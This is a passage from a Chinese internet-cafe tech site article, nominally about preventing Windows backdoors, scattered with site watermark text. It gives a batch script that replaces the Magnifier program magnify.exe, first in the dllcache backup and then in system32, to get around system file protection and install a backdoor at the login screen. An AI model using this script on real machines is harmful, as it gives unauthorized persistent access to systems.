天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧网络 >> 正文

防范Windows系统的常见后门的方法

2008-11-21网络整理佚名

  下面就需要用构造的magnify.exe替换同名的放大镜程序文件,由于Windows对系统文件的自我保护,因此不能直接替换,不过Windows提供了一个命令replace.exe,通过它我们可以替换系统文件。另外,由于系统文件在%Windir%\system32\dllcache中有备份,为了防止文件替换后又重新还原,所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下,我们可以通过一个批处理即可实现文件的替换。 网吧58UN

  @echo off

采本站,必打击者

  copy %Windir%\system32\dllcache\magnify.exe nagnify.exe 支持58UN,支持中国网吧

  copy %Windir%\system32\magnify.exe nagnify.exe 采本站者,必打击者

  replace.exe %Windir%\magnify.exe %Windir%\system32\dllcache

网吧联盟 www.58un.com.cn

  replace.exe %Windir%\magnify.exe %Windir%\system32 后果很严重

  exit 网吧联盟 www.58un.com.cn

  上面批处理的功能是,首先将放大镜程序备份为nagnify.exe,然后用同名的构造程序将其替换。(图4)

网吧58UN

   

58un.com.cn 为中国网吧努力

后果很严重


本文来源:网络整理 作者:佚名

声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:_WX_1_本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行